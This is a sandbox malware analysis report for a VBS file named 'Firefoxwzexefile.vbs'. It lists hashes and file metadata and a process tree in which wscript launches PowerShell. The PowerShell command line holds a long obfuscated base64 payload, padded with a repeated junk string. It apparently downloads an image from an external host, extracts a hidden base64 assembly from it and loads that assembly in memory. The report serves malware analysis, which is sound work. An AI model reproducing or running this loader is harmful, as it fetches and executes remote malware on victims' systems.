popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Firefoxwzexefile.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Nov. 2, 2023, 10:08 a.m. Nov. 2, 2023, 10:11 a.m.
Size 285.6KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 0b7f2e1c70bb997a5b6f1b0072c23679
SHA256 5416e004a1b9b102c64e1a227f767c96108b0b65c5f75a81d0ec56b86864f5b6
CRC32 CC3FEC32
ssdeep 3072:a0666661A3sM383F343G3K3Y3136e3K3R3q53qYa3k2313T3q32r2rLrkhrUrQh2:J3eTFQu
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Firefoxwzexefile.vbs

    3032

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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OwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP9wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgP8wCpPwOwWIbeIlJvgPDwwCpPwOwWIbeIlJvgPQgBBwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPRQwCpPwOwWIbeIlJvgP2wCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPXwBFwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP+wCpPwOwWIbeIlJvgPD4wCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbQBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQBUwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPZgwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPZQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPaQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwBlwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwBmwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBGwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPYQBnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCswCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPLgBMwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBnwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPYgBhwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgP2wCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwB0wCpPwOwWIbeIlJvgPGgw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gPBiwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcwBlwCpPwOwWIbeIlJvgPDYwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwBhwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQBkwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPeQBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPUgBlwCpPwOwWIbeIlJvgPGYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBpwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbgwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQBdwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPOgBMwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPYQBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPeQB0wCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPcwwCpPwOwWIbeIlJvgPpwCpPwOwWIbeIlJvgPDswCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPQQBzwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPRwBlwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRgBpwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPZQBywCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPE0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBWwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPSQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPdgBvwCpPwOwWIbeIlJvgPGswCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbgB1wCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPWwBvwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPagBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPF0wCpPwOwWIbeIlJvgPXQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBkwCpPwOwWIbeIlJvgPEgwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPwwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPbQBWwCpPwOwWIbeIlJvgPHUwCpPwOwWIbeIlJvgPYgwCpPwOwWIbeIlJvgPzwCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPeQBZwCpPwOwWIbeIlJvgPFYwCpPwOwWIbeIlJvgPYwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPBNwCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPTQBTwCpPwOwWIbeIlJvgPDkwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBtwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPegBJwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTQBpwCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPegBNwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPRQB1wCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPVw